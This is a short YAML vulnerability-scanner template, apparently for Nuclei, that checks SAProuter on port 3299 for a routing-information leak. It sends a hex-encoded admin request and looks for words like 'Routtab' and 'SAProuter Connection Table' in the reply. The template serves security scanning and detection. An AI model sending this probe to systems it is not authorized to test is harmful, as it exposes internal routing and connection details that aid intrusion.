id: sap-router-info-leak

info:
  name: SAPRouter - Routing information leak
  author: randomstr1ng
  severity: critical
  tags: network,sap

network:
  - inputs:
      - data: 00000022524f555445525f41444d002802000000000000000000000000000000000000000000
        type: hex

    host:
      - "{{Hostname}}"
      - "{{Host}}:3299"
    read-size: 2048

    matchers:
      - type: word
        words:
          - "Routtab"
          - "Working directory"
          - "SAProuter Connection Table"